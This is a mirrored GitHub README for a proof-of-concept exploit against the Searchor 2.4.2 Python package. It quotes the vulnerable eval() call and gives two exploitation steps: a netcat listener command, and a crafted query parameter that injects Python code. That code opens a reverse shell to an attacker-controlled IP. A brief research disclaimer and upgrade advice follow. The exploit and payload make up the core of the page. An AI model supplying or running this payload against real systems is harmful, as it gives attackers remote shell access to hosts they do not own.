Giter Site home page Giter Site logo

poc-searchor-2.4.2's Introduction

POC-Searchor-2.4.2 Exploit

Vulnerable code includes eval() method:

url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

If user parameter query is not sanitized it leads to RCE.

  • Exploit code for linux target
  1. Prepare a listener: nc -lvnp PORT
  2. send this as query parameter to the tested host

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

DISCLAIMER

  • this is posted for research purpose only
  • use the newest Searcher version to be safe: https:/I/github.com/ArjunSharda/Searchor
  • using this against other web sites is subject to criminal punishment!

poc-searchor-2.4.2's People

Contributors

jonnyzar avatar

Stargazers

greekbust avatar  avatar Alex avatar Sebin Thomas avatar 0x4S avatar  avatar Tac0_builder avatar  avatar Francisco Carrasco Varela avatar George W Kovach avatar zaBogdan avatar

Watchers

 avatar

Forkers

georgekovachjr

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.